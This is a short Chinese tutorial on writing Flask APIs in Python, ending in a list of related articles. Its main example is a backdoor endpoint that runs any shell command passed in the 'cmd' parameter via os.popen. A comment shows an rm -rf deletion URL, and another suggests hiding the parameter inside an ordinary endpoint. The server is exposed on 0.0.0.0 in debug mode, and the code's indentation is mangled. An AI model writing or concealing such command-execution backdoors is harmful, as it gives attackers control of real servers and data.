如何用python写接口

如何用python写接口?具体步骤如下: 

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods='post')

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
认真的酒窝21 小时前
自己动手开发编译器(十一)语义分析
java·开发语言
Lyn_Li21 小时前
扫描 PDF 歪了怎么办?用 6 种检测方法做本地批量扶正(附开源工具)
python·pdf·ocr·tesseract·开源工具·文档处理·本地处理·扫描件纠偏
金銀銅鐵1 天前
费马小定理
python·数学·算法
wbs_scy1 天前
Linux C++ 高并发编程:线程池全链路深度解析,从原理到手撕实现
java·开发语言
JAVA面经实录9171 天前
Linux 常用命令完整知识体系
java·linux·开发语言·汇编
贪玩的蛋挞1 天前
C#与闭包
开发语言·c#
端庄的战斗机1 天前
javascript 设计模式(文章很长,请自备瓜子,水果和眼药水)
开发语言·javascript·设计模式
Full Stack Developme1 天前
Java LRU 与 LFU 算法及应用
java·开发语言·算法
疋瓞1 天前
python和C++对比(1)_数据类型和数据结构
数据结构·c++·python
C语言小火车1 天前
C++ 堆排序深度精讲:基于完全二叉树的选择排序进化,最坏情况 O(n log n) 的稳定王者
开发语言·c++·算法·排序算法·堆排序